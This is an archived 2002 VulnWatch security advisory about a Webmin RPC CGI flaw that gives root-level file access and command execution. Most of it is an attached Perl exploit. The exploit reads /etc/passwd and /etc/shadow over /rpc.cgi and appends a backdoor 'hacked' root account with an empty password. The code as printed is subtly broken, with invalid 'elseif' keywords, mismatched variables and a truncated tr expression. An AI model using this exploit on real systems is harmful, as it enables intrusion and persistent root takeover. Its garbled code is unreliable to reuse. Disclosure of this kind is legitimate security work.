

[VulnWatch] Webmin Vulnerability Leads to Remote Compromise (RPC CGI)

Source: <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2002-08/0044.html>

From: Aviram Jenik (aviram@beyondsecurity.com)

Date: 08/28/02

From: "Aviram Jenik" <aviram@beyondsecurity.com>

To: <vulnwatch@vulnwatch.org>

Date: Wed, 28 Aug 2002 21:05:27 +0200

Reference: <http://www.securiteam.com/unixfocus/5CP0R1P80G.html>

Webmin Vulnerability Leads to Remote Compromise (RPC CGI)

SUMMARY

<<http://www.webmin.com>> Webmin is a web-based interface for system administration for Linux/UNIX. Using any browser that supports tables and forms (and Java for the File Manager module) you can setup user accounts, Apache, DNS, file sharing and so on. A security vulnerability in the product allows remote attackers to cause the execution of arbitrary commands and read any files on the system (with root permissions).

DETAILS

Vulnerable systems:

- * Webmin version 0.921 and above (requires regular user access)
- * Webmin version 0.92 and below (no special user required)

Technical details:

The CGI that handles `remote_foreign_require` and `remote_foreign_call` requests from other Webmin servers contains inadequate permission checks.

Access to the CGI is determined by the 'rpc' value in the `/usr/libexec/webmin/defaultacl`. This value can be '1' or '2'. If '2' is set, only the 'admin' user, or root are allowed access. Otherwise, anyone is allowed to access the CGI. Access to this CGI would allow an attacker

any of the following functions:

VulnWatch: [VulnWatch] Webmin Vulnerability Leads to Remote Compromise (RPC CGI)

- 1) 'quit' – as the name says, it terminates the current RPC session.
- 2) 'require' – forces the current RPC session to load a library/module file.
- 3) 'call' – execute a Perl or Webmin function.
- 4) 'eval' – evaluates a Perl code (executes it).
- 5) 'ping' – responds with an "OK" reply.
- 6) 'check' – checks whether a certain library/module is supported.
- 7) 'config' – display the current configuration of RPC.
- 8) 'write' – write a file with the provided data.
- 9) 'read' – read a file and return the data it contains.

Utilizing the 'read' and 'write' actions a remote attacker can read or write to any file that is present on the system. This specifically includes /etc/passwd and /etc/shadow. Access to any file is possible because the Webmin server runs as root, and does not drop privileges prior to running those two functions. Utilizing the 'eval' function, it is possible to cause the execution of arbitrary commands with root privileges.

Because of the way the RPC communication is done, the attached exploit code is needed in order to perform the above actions.

Impact:

Since in many Webmin installations the Webmin admin is a non-root user, by exploiting the vulnerability an attacker is able to gain root privileges and compromise the machine.

Workaround:

Modify the defaultacl file to:
rpc=0

This is a non-valid solution for organizations handling multiple Webmin servers from a centralized one (remote control usage).

NOTE: This of course does not prevent the vulnerability, but rather disables some functionality to stop it from working.

Perquisite:

Since access to the CGI is required, valid authentication is required.

Vendor response:

The vendor has responded with the following statement:
That's not really a bug, because in standard webmin installs the 'admin'

or 'root' user has access to all modules with all privileges, which is equivalent to having a root login. However, if on your client's systems the 'admin' user has lesser privileges then it would be a security problem, and I think a release to tell people about it would be good

VulnWatch: [VulnWatch] Webmin Vulnerability Leads to Remote Compromise (RPC CGI)

idea.

Instead of changing the defaultacl file (which will be overwritten by the next upgrade), you can go into the Webmin Users module, click on Global ACL next to the admin user and change the 'Can make RPC calls?' option to

No. I wouldn't want to change the defaultacl file in the standard webmin

distribution, as this would stop RPC from working unless it was explicitly allowed.

Exploit:

```
#!/usr/bin/perl
# urlize
# Convert a string to a form ok for putting in a URL
sub urlize {
    local $rv = $_[0];
    $rv =~ s/([A-Za-z0-9])/sprintf("%02.2X", ord($1))/ge;
    return $rv;
}

# un_urlize(string)
# Converts a URL-encoded string to the original
sub un_urlize
{
    local $rv = $_[0];
    $rv =~ s/\+/ /g;
    $rv =~ s/%(..)/pack("c",hex($1))/ge;
    return $rv;
}

# serialise_variable(variable)
# Converts some variable (maybe a scalar, hash ref, array ref or scalar
ref)
# into a url-encoded string
sub serialise_variable
{
    if (!defined($_[0])) {
        return 'UNDEF';
    }
    local $r = ref($_[0]);
    local $rv;
    if (!$r) {
        $rv = &urlize($_[0]);
    }
    elsif ($r eq 'SCALAR') {
        $rv = &urlize($_[0]);
    }
}
```

VulnWatch: [VulnWatch] Webmin Vulnerability Leads to Remote Compromise (RPC CGI)

```
elseif ($r eq 'ARRAY') {
    $rv = join(",", map { &urlize(&serialise_variable($_)) }
@{$_[0]});
}
elseif ($r eq 'HASH') {
    $rv = join(",", map { &urlize(&serialise_variable($_)).",".
        &urlize(&serialise_variable($_)->{$_}) }
keys % {$_[0]});
}
elseif ($r eq 'REF') {
    $rv = &serialise_variable($$_[0]);
}
return ($r ? $r : 'VAL')." ".$rv;
}

# unserialise_variable(string)
# Converts a string created by serialise_variable() back into the
original
# scalar, hash ref, array ref or scalar ref.
sub unserialise_variable
{
    local @v = split(/./, $_[0]);
    local ($rv, $i);
    if ($v[0] eq 'VAL') {
        $rv = &un_urlize($v[1]);
    }
    elseif ($v[0] eq 'SCALAR') {
        local $r = &un_urlize($v[1]);
        $rv = \"$r;
    }
    elseif ($v[0] eq 'ARRAY') {
        $rv = [ ];
        for($i=1; $i<@v; $i++) {
            push(@$rv, &unserialise_variable(&un_urlize($v[$i])));
        }
    }
    elseif ($v[0] eq 'HASH') {
        $rv = { };
        for($i=1; $i<@v; $i+=2) {
            $rv->{&unserialise_variable(&un_urlize($v[$i]))} =
                &unserialise_variable(&un_urlize($v[$i+1]));
        }
    }
    elseif ($v[0] eq 'REF') {
        local $r = &unserialise_variable($v[1]);
        $rv = \"$r;
    }
    elseif ($v[0] eq 'UNDEF') {
        $rv = undef;
    }
}
```

VulnWatch: [VulnWatch] Webmin Vulnerability Leads to Remote Compromise (RPC CGI)

```
return $rv;
}

# encode_base64(string)
# Encodes a string into base64 format
sub encode_base64
{
    local $res;
    pos($_[0]) = 0; # ensure start at the beginning
    while ($_[0] =~ /(.{1,45})/gs) {
        $res .= substr(pack('u', $1), 1)."\n";
        chop($res);
    }
    $res =~ tr|\` -_!@A-Za-z0-9+\/|;
    local $padding = (3 - length($_[0]) % 3) % 3;
    $res =~ s/.${$padding}$/'= ' x $padding/e if ($padding);
    return $res;
}

use Socket;
if ($#ARGV<6) {die "Usage: exploit.pl proxyIP proxyPort remoteIP
remotePort username password command_interface
command interface should equal one of these:
1 - read file /etc/passwd
2 - read file /etc/shadow
3 - insert into file /etc/passwd (\hacked:x:0:0:root:/root:/bin/bash\")
4 - insert into file /etc/shadow (\hacked::0:99999:7:-1:-1:134538548\")
";}

$username = $ARGV[4];
$password = $ARGV[5];

$proxyPort = $ARGV[1];
$proxyIP = $ARGV[0];

$remoteIP = $ARGV[2];
$remotePort = $ARGV[3];
$command_interface = $ARGV[6];

$target = inet_aton($proxyIP);
$paddr = sockaddr_in($proxyPort, $target);

print "Connecting to: $proxyIP:$proxyPort, with the following user:
$username and password: $password. Hacking server:
$remoteIP:$remotePort\n";

$sauth = &encode_base64("$username:$password");
$sauth =~ s/\n//g;

if (($command_interface eq 1) || ($command_interface eq 3))
{
```

VulnWatch: [VulnWatch] Webmin Vulnerability Leads to Remote Compromise (RPC CGI)

```
$d = { 'action' => 'read', 'file' => "/etc/passwd", 'session' => "0" };
}
if (($command_interface eq 2) || ($command_interface eq 4))
{
$d = { 'action' => 'read', 'file' => "/etc/shadow", 'session' => "0" };
}

$tostr = &serialise_variable($d);
$lengthstr = length($tostr);

$request = "POST /rpc.cgi HTTP/1.1
Host: $remoteIP:$remotePort
User-agent: Webmin
Authorization: basic $auth
Content-Length: $lengthstr

$tostr";

print "Sending:\n---\n$request\n---\n";

$proto = getprotobyname('tcp');
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems\n");

connect(S, $paddr) || die "connect: $!";

select(S); $|=1; # print $pstr;
print $request;

$found = 0;
while(<S>)
{
if (($found == 1) || (/^\r\n/))
{
if ($found == 0)
{
$found = 1;
}
else
{
$in = join ("", $in, $_);
}
}
}
select(STDOUT);

print "Raw:\n---\n$in\n---\n";

print "Unserialized:\n---\n", unserialise_variable($in)->{'rv'},
"\n---\n";

close(S);
```

VulnWatch: [VulnWatch] Webmin Vulnerability Leads to Remote Compromise (RPC CGI)

```
if ($command_interface eq 3)
{
    $d = { 'action' => 'write', 'data'=>join("",
unserialise_variable($in)->{'rv'},
"hacked:x:0:0:root:/root:/bin/bash\n"),
'file' => "/etc/passwd", 'session' => "0"};
}
if ($command_interface eq 4)
{
    $d = { 'action' => 'write', 'data'=>join("",
unserialise_variable($in)->{'rv'},
"hacked::0:99999:7:-1:-1:134538548\n"),
'file' => "/etc/shadow", 'session' => "0"};
}

$tostr = &serialise_variable($d);
$lengthstr = length($tostr);

$request = "POST /rpc.cgi HTTP/1.1
Host: $remoteIP:$remotePort
User-agent: Webmin
Authorization: basic $auth
Content-Length: $lengthstr

$tostr";

print "Sending:\n---\n$request\n---\n";

$proto = getprotobyname('tcp');
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems\n");

connect(S, $paddr) || die "connect: $!";

select(S); $|=1; # print $pstr;
print $request;

$found = 0;
while(<S>)
{
    if (($found == 1) || (/^\r\n/))
    {
        if ($found == 0)
        {
            $found = 1;
        }
        else
        {
            $in = join ("", $in, $_);
        }
    }
}
```

VulnWatch: [VulnWatch] Webmin Vulnerability Leads to Remote Compromise (RPC CGI)

```
select(STDOUT);

print "Raw:\n---\n${in}\n---\n";

print "Unserialized:\n---\n", unserialise_variable($in)->{'rv'},
"\n---\n";

close(S);

# --- EOF ---
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:noamr@beyondsecurity.com>
Noam Rathaus of SecurITeam.

```
=====
=====
```

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** [David Endler: "\[VulnWatch\] iDEFENSE Security Advisory: Linuxconf locally exploitable buffer overflow"](#)
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)